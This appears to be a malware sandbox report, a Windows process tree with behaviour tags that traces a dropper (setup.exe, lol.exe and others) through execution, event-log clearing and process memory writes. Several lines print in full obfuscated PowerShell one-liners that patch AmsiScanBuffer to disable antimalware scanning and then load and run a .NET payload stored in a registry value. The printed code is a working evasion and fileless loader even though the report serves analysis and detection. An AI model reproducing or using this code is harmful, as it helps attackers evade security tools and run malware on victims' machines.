C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Indicator Removal: Clear Windows Event Logs
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TextInputManagementService1⤵
-
C:\Windows\system32\ctfmon.exe/QuitInfo:0000000000000268;000000000000026C;2⤵
-
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Wcmsvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s DusmSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s webthreatdefusersvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵
-
C:\Windows\System32\ShellHost.exe"C:\Windows\System32\ShellHost.exe"1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵
- Modifies data under HKEY_USERS
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}1⤵
-
C:\Windows\System32\smartscreen.exeC:\Windows\System32\smartscreen.exe -Embedding1⤵
-
C:\Windows\System32\SecurityHealthSystray.exe"C:\Windows\System32\SecurityHealthSystray.exe"1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k WebThreatDefense -p -s webthreatdefsvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s DeviceInstall1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵
-
C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵
-
C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\setup.exeC:\Users\Admin\AppData\Local\Temp\setup.exe1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content\epszh6u9\wargm5e.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content\epszh6u9\wargm5e.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Install.exe"C:\Users\Admin\AppData\Local\Temp\Install.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\lol.exe"C:\Users\Admin\AppData\Local\Temp\lol.exe"3⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Roaming\NRExtExport.exeC:\Users\Admin\AppData\Roaming\NRExtExport.exe4⤵
-
-
-
-
C:\Windows\system32\cmd.execmd.exe /c "powershell.exe -Command ""function Local:SblLswyGTvkR{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$MuEXBhOjypuaKQ,[Parameter(Position=1)][Type]$CEpelerLVW)$dWGGjJITtCW=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+''+'f'+'lec'+'t'+''+[Char](101)+''+'d'+'De'+'l'+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+''+[Char](101)+''+'m'+''+[Char](111)+''+[Char](114)+''+[Char](121)+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+'e',$False).DefineType('M'+[Char](121)+'D'+[Char](101)+'l'+[Char](101)+'ga'+'t'+''+[Char](101)+''+[Char](84)+''+'y'+''+'p'+''+[Char](101)+'',''+[Char](67)+'la'+'s'+'s,'+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+'c,'+'S'+'ea'+[Char](108)+''+'e'+'d'+[Char](44)+''+[Char](65)+''+[Char](110)+''+[Char](115)+'i'+[Char](67)+'l'+'a'+''+'s'+''+[Char](115)+''+[Char](44)+'A'+'u'+'t'+[Char](111)+'C'+[Char](108)+''+'a'+'s'+[Char](115)+'',[MulticastDelegate]);$dWGGjJITtCW.DefineConstructor(''+'R'+''+'T'+''+[Char](83)+''+[Char](112)+''+[Char](101)+''+[Char](99)+''+'i'+''+[Char](97)+''+'l'+'N'+[Char](97)+'m'+[Char](101)+''+','+'H'+'i'+'de'+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+'g'+','+'P'+''+[Char](117)+''+[Char](98)+'l'+'i'+'c',[Reflection.CallingConventions]::Standard,$MuEXBhOjypuaKQ).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+''+[Char](116)+''+[Char](105)+''+'m'+''+[Char](101)+''+','+''+[Char](77)+''+'a'+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$dWGGjJITtCW.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+''+[Char](111)+'k'+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+'i'+[Char](99)+','+'H'+''+'i'+''+[Char](100)+'e'+[Char](66)+''+[Char](121)+''+'S'+''+[Char](105)+''+'g'+',N'+'e'+''+'w'+'Slo'+[Char](116)+''+[Char](44)+''+[Char](86)+''+[Char](105)+''+'r'+''+[Char](116)+''+'u'+'a'+[Char](108)+'',$CEpelerLVW,$MuEXBhOjypuaKQ).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+''+[Char](116)+'i'+'m'+'e,'+'M'+''+[Char](97)+''+[Char](110)+'age'+'d'+'');Write-Output $dWGGjJITtCW.CreateType();}$VeogiNmuDAZsQ=([AppDomain]::CurrentDomain.GetAssemblies()^|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+'s'+[Char](116)+''+[Char](101)+''+'m'+'.d'+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+'i'+''+[Char](99)+''+'r'+'os'+'o'+''+[Char](102)+'t'+[Char](46)+'W'+'i'+''+[Char](110)+''+[Char](51)+'2'+'.'+'U'+'n'+'sa'+[Char](102)+''+[Char](101)+''+[Char](78)+''+[Char](97)+''+[Char](116)+''+'i'+'ve'+[Char](77)+''+[Char](101)+''+[Char](116)+'h'+[Char](111)+''+'d'+''+[Char](115)+'');$YHdqixplNjBtxX=$VeogiNmuDAZsQ.GetMethod(''+'G'+''+[Char](101)+''+[Char](116)+''+'P'+''+'r'+'o'+'c'+''+[Char](65)+''+[Char](100)+''+'d'+''+[Char](114)+''+[Char](101)+'s'+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+'b'+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+''+[Char](83)+'t'+'a'+''+'t'+''+'i'+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$ivhWnBwxGYGfvIGmaBz=SblLswyGTvkR @([String])([IntPtr]);$NvFteMNmnFVWuaIGKqBZFw=SblLswyGTvkR @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$GbgqNsrkJji=$VeogiNmuDAZsQ.GetMethod(''+'G'+''+[Char](101)+''+'t'+'M'+[Char](111)+''+'d'+''+[Char](117)+''+[Char](108)+'eH'+'a'+'n'+[Char](100)+''+[Char](108)+''+'e'+'').Invoke($Null,@([Object]('k'+[Char](101)+''+[Char](114)+''+[Char](110)+'e'+'l'+''+[Char](51)+''+'2'+''+'.'+'d'+[Char](108)+'l')));$BIHZEFwJbhVMia=$YHdqixplNjBtxX.Invoke($Null,@([Object]$GbgqNsrkJji,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+'dL'+'i'+''+[Char](98)+''+[Char](114)+''+'a'+'ry'+'A'+'')));$oIgeppWYGPwnzuBDY=$YHdqixplNjBtxX.Invoke($Null,@([Object]$GbgqNsrkJji,[Object]('V'+[Char](105)+''+'r'+'t'+[Char](117)+''+[Char](97)+''+'l'+''+'P'+''+[Char](114)+'o'+'t'+'e'+'c'+''+'t'+'')));$XQHnoby=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($BIHZEFwJbhVMia,$ivhWnBwxGYGfvIGmaBz).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+''+[Char](105)+'.dll');$IfnVwCApAHdekMUpv=$YHdqixplNjBtxX.Invoke($Null,@([Object]$XQHnoby,[Object](''+'A'+''+[Char](109)+''+'s'+''+[Char](105)+'S'+'c'+''+[Char](97)+''+'n'+'B'+'u'+'f'+[Char](102)+''+'e'+''+[Char](114)+'')));$wcUmALqXpz=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($oIgeppWYGPwnzuBDY,$NvFteMNmnFVWuaIGKqBZFw).Invoke($IfnVwCApAHdekMUpv,[uint32]8,4,[ref]$wcUmALqXpz);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](184-53),[Byte](153+82),[Byte](61-61),[Byte](163+21),[Byte](91-4),[Byte](77-77),[Byte](194-187),[Byte](204-76),[Byte](121+16),[Byte](247-28),[Byte](234-39),[Byte](212-81),[Byte](127+107),[Byte](55-55)),0,$IfnVwCApAHdekMUpv,107-93);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($oIgeppWYGPwnzuBDY,$NvFteMNmnFVWuaIGKqBZFw).Invoke($IfnVwCApAHdekMUpv,[uint32]8,0x20,[ref]$wcUmALqXpz);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+[Char](70)+'TW'+[Char](65)+''+'R'+'E').GetValue(''+[Char](78)+''+[Char](82)+'s'+[Char](116)+''+[Char](97)+''+'g'+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)"""1⤵
- Executes a command shell one-liner
- System Time Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -Command ""function Local:SblLswyGTvkR{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$MuEXBhOjypuaKQ,[Parameter(Position=1)][Type]$CEpelerLVW)$dWGGjJITtCW=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+''+'f'+'lec'+'t'+''+[Char](101)+''+'d'+'De'+'l'+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+''+[Char](101)+''+'m'+''+[Char](111)+''+[Char](114)+''+[Char](121)+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+'e',$False).DefineType('M'+[Char](121)+'D'+[Char](101)+'l'+[Char](101)+'ga'+'t'+''+[Char](101)+''+[Char](84)+''+'y'+''+'p'+''+[Char](101)+'',''+[Char](67)+'la'+'s'+'s,'+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+'c,'+'S'+'ea'+[Char](108)+''+'e'+'d'+[Char](44)+''+[Char](65)+''+[Char](110)+''+[Char](115)+'i'+[Char](67)+'l'+'a'+''+'s'+''+[Char](115)+''+[Char](44)+'A'+'u'+'t'+[Char](111)+'C'+[Char](108)+''+'a'+'s'+[Char](115)+'',[MulticastDelegate]);$dWGGjJITtCW.DefineConstructor(''+'R'+''+'T'+''+[Char](83)+''+[Char](112)+''+[Char](101)+''+[Char](99)+''+'i'+''+[Char](97)+''+'l'+'N'+[Char](97)+'m'+[Char](101)+''+','+'H'+'i'+'de'+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+'g'+','+'P'+''+[Char](117)+''+[Char](98)+'l'+'i'+'c',[Reflection.CallingConventions]::Standard,$MuEXBhOjypuaKQ).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+''+[Char](116)+''+[Char](105)+''+'m'+''+[Char](101)+''+','+''+[Char](77)+''+'a'+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$dWGGjJITtCW.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+''+[Char](111)+'k'+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+'i'+[Char](99)+','+'H'+''+'i'+''+[Char](100)+'e'+[Char](66)+''+[Char](121)+''+'S'+''+[Char](105)+''+'g'+',N'+'e'+''+'w'+'Slo'+[Char](116)+''+[Char](44)+''+[Char](86)+''+[Char](105)+''+'r'+''+[Char](116)+''+'u'+'a'+[Char](108)+'',$CEpelerLVW,$MuEXBhOjypuaKQ).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+''+[Char](116)+'i'+'m'+'e,'+'M'+''+[Char](97)+''+[Char](110)+'age'+'d'+'');Write-Output $dWGGjJITtCW.CreateType();}$VeogiNmuDAZsQ=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+'s'+[Char](116)+''+[Char](101)+''+'m'+'.d'+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+'i'+''+[Char](99)+''+'r'+'os'+'o'+''+[Char](102)+'t'+[Char](46)+'W'+'i'+''+[Char](110)+''+[Char](51)+'2'+'.'+'U'+'n'+'sa'+[Char](102)+''+[Char](101)+''+[Char](78)+''+[Char](97)+''+[Char](116)+''+'i'+'ve'+[Char](77)+''+[Char](101)+''+[Char](116)+'h'+[Char](111)+''+'d'+''+[Char](115)+'');$YHdqixplNjBtxX=$VeogiNmuDAZsQ.GetMethod(''+'G'+''+[Char](101)+''+[Char](116)+''+'P'+''+'r'+'o'+'c'+''+[Char](65)+''+[Char](100)+''+'d'+''+[Char](114)+''+[Char](101)+'s'+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+'b'+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+''+[Char](83)+'t'+'a'+''+'t'+''+'i'+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$ivhWnBwxGYGfvIGmaBz=SblLswyGTvkR @([String])([IntPtr]);$NvFteMNmnFVWuaIGKqBZFw=SblLswyGTvkR @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$GbgqNsrkJji=$VeogiNmuDAZsQ.GetMethod(''+'G'+''+[Char](101)+''+'t'+'M'+[Char](111)+''+'d'+''+[Char](117)+''+[Char](108)+'eH'+'a'+'n'+[Char](100)+''+[Char](108)+''+'e'+'').Invoke($Null,@([Object]('k'+[Char](101)+''+[Char](114)+''+[Char](110)+'e'+'l'+''+[Char](51)+''+'2'+''+'.'+'d'+[Char](108)+'l')));$BIHZEFwJbhVMia=$YHdqixplNjBtxX.Invoke($Null,@([Object]$GbgqNsrkJji,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+'dL'+'i'+''+[Char](98)+''+[Char](114)+''+'a'+'ry'+'A'+'')));$oIgeppWYGPwnzuBDY=$YHdqixplNjBtxX.Invoke($Null,@([Object]$GbgqNsrkJji,[Object]('V'+[Char](105)+''+'r'+'t'+[Char](117)+''+[Char](97)+''+'l'+''+'P'+''+[Char](114)+'o'+'t'+'e'+'c'+''+'t'+'')));$XQHnoby=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($BIHZEFwJbhVMia,$ivhWnBwxGYGfvIGmaBz).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+''+[Char](105)+'.dll');$IfnVwCApAHdekMUpv=$YHdqixplNjBtxX.Invoke($Null,@([Object]$XQHnoby,[Object](''+'A'+''+[Char](109)+''+'s'+''+[Char](105)+'S'+'c'+''+[Char](97)+''+'n'+'B'+'u'+'f'+[Char](102)+''+'e'+''+[Char](114)+'')));$wcUmALqXpz=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($oIgeppWYGPwnzuBDY,$NvFteMNmnFVWuaIGKqBZFw).Invoke($IfnVwCApAHdekMUpv,[uint32]8,4,[ref]$wcUmALqXpz);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](184-53),[Byte](153+82),[Byte](61-61),[Byte](163+21),[Byte](91-4),[Byte](77-77),[Byte](194-187),[Byte](204-76),[Byte](121+16),[Byte](247-28),[Byte](234-39),[Byte](212-81),[Byte](127+107),[Byte](55-55)),0,$IfnVwCApAHdekMUpv,107-93);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($oIgeppWYGPwnzuBDY,$NvFteMNmnFVWuaIGKqBZFw).Invoke($IfnVwCApAHdekMUpv,[uint32]8,0x20,[ref]$wcUmALqXpz);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+[Char](70)+'TW'+[Char](65)+''+'R'+'E').GetValue(''+[Char](78)+''+[Char](82)+'s'+[Char](116)+''+[Char](97)+''+'g'+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)""2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k WerSvcGroup1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 440 -p 964 -ip 9642⤵
-
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 716 -p 972 -ip 9722⤵
-
-
C:\Windows\system32\cmd.execmd.exe /c "powershell.exe -Command ""function Local:YsFZTUSVdqJC{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$VSbwXFjKExahRO,[Parameter(Position=1)][Type]$xXfVlFsJTb)$QcNjaZkcLqg=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+[Char](102)+''+[Char](108)+''+[Char](101)+''+[Char](99)+'t'+[Char](101)+'d'+[Char](68)+'e'+[Char](108)+'e'+'g'+''+'a'+'t'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('In'+'M'+''+'e'+''+[Char](109)+''+'o'+''+'r'+''+'y'+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+'u'+''+'l'+''+[Char](101)+'',$False).DefineType(''+[Char](77)+'y'+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+'a'+'te'+[Char](84)+''+[Char](121)+''+[Char](112)+''+[Char](101)+'',''+[Char](67)+''+'l'+''+'a'+'s'+'s'+''+[Char](44)+'P'+'u'+''+[Char](98)+''+[Char](108)+''+'i'+''+'c'+''+','+'S'+'e'+''+[Char](97)+''+'l'+''+[Char](101)+'d'+[Char](44)+''+'A'+''+'n'+''+[Char](115)+''+[Char](105)+''+[Char](67)+''+[Char](108)+'as'+'s'+''+[Char](44)+'A'+[Char](117)+'t'+'o'+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+'s',[MulticastDelegate]);$QcNjaZkcLqg.DefineConstructor(''+'R'+''+'T'+''+'S'+''+[Char](112)+''+[Char](101)+''+[Char](99)+'i'+[Char](97)+''+'l'+''+[Char](78)+'a'+[Char](109)+''+[Char](101)+''+[Char](44)+''+'H'+''+[Char](105)+'d'+'e'+''+'B'+''+[Char](121)+'S'+[Char](105)+''+[Char](103)+','+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$VSbwXFjKExahRO).SetImplementationFlags(''+'R'+''+[Char](117)+'nt'+[Char](105)+''+[Char](109)+'e'+','+''+'M'+''+[Char](97)+''+[Char](110)+''+'a'+''+'g'+'ed');$QcNjaZkcLqg.DefineMethod(''+[Char](73)+''+[Char](110)+'v'+'o'+''+[Char](107)+''+[Char](101)+'',''+'P'+''+[Char](117)+''+'b'+'l'+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](72)+''+'i'+''+'d'+''+[Char](101)+'By'+[Char](83)+''+[Char](105)+'g'+[Char](44)+''+[Char](78)+''+[Char](101)+''+[Char](119)+''+'S'+''+[Char](108)+''+[Char](111)+'t'+[Char](44)+''+'V'+''+'i'+''+'r'+''+[Char](116)+''+'u'+''+[Char](97)+''+[Char](108)+'',$xXfVlFsJTb,$VSbwXFjKExahRO).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+'t'+[Char](105)+''+'m'+'e'+','+'M'+'a'+'n'+[Char](97)+''+[Char](103)+''+'e'+'d');Write-Output $QcNjaZkcLqg.CreateType();}$tPSWuAYItCZci=([AppDomain]::CurrentDomain.GetAssemblies()^|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+'st'+'e'+''+[Char](109)+''+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+''+[Char](114)+''+[Char](111)+'s'+'o'+''+'f'+''+'t'+''+[Char](46)+''+[Char](87)+''+[Char](105)+'n'+'3'+''+[Char](50)+''+[Char](46)+''+'U'+''+'n'+''+[Char](115)+''+[Char](97)+'f'+[Char](101)+''+[Char](78)+''+'a'+''+[Char](116)+''+[Char](105)+''+[Char](118)+'e'+'M'+''+[Char](101)+''+[Char](116)+'h'+'o'+''+[Char](100)+'s');$UtJpRsHpdfMoMg=$tPSWuAYItCZci.GetMethod(''+'G'+''+'e'+'t'+'P'+''+'r'+''+[Char](111)+'c'+[Char](65)+''+[Char](100)+''+'d'+''+'r'+'es'+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+'l'+[Char](105)+'c'+[Char](44)+'S'+'t'+''+[Char](97)+''+[Char](116)+''+'i'+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$VTElBICNSuMIkGWCxyC=YsFZTUSVdqJC @([String])([IntPtr]);$uoLjktQjmNPBRfMkrwrOfM=YsFZTUSVdqJC @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$PFcRXqGlJKq=$tPSWuAYItCZci.GetMethod(''+[Char](71)+''+[Char](101)+'t'+[Char](77)+'o'+[Char](100)+''+'u'+'l'+'e'+''+[Char](72)+''+[Char](97)+''+[Char](110)+'d'+[Char](108)+''+'e'+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+'ne'+[Char](108)+'3'+'2'+''+[Char](46)+'d'+[Char](108)+''+[Char](108)+'')));$DWgSYSrQFqEbtD=$UtJpRsHpdfMoMg.Invoke($Null,@([Object]$PFcRXqGlJKq,[Object]('Lo'+'a'+''+[Char](100)+'L'+[Char](105)+'br'+'a'+'r'+'y'+''+[Char](65)+'')));$xnJkILmpnICbzsbXC=$UtJpRsHpdfMoMg.Invoke($Null,@([Object]$PFcRXqGlJKq,[Object](''+[Char](86)+'i'+'r'+''+[Char](116)+''+[Char](117)+'al'+[Char](80)+''+[Char](114)+''+'o'+''+[Char](116)+'e'+[Char](99)+''+'t'+'')));$VDeoLKG=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DWgSYSrQFqEbtD,$VTElBICNSuMIkGWCxyC).Invoke(''+[Char](97)+''+[Char](109)+'s'+[Char](105)+''+[Char](46)+'d'+'l'+''+'l'+'');$ddjeMbSuRSYHCvySY=$UtJpRsHpdfMoMg.Invoke($Null,@([Object]$VDeoLKG,[Object]('Am'+'s'+''+[Char](105)+'S'+'c'+''+[Char](97)+'n'+[Char](66)+''+[Char](117)+''+[Char](102)+''+[Char](102)+''+'e'+'r')));$fyOiUGQajQ=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($xnJkILmpnICbzsbXC,$uoLjktQjmNPBRfMkrwrOfM).Invoke($ddjeMbSuRSYHCvySY,[uint32]8,4,[ref]$fyOiUGQajQ);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](142-5),[Byte](183+27),[Byte](125+59),[Byte](187-100),[Byte](184-184),[Byte](22-15),[Byte](118+10),[Byte](108+29),[Byte](61+158),[Byte](97+98),[Byte](209-72),[Byte](42+177)),0,$ddjeMbSuRSYHCvySY,184-172);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($xnJkILmpnICbzsbXC,$uoLjktQjmNPBRfMkrwrOfM).Invoke($ddjeMbSuRSYHCvySY,[uint32]8,0x20,[ref]$fyOiUGQajQ);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+[Char](70)+''+[Char](84)+''+'W'+''+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue(''+'N'+''+'R'+''+[Char](115)+'ta'+'g'+''+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"""1⤵
- Executes a command shell one-liner
- System Time Discovery
-
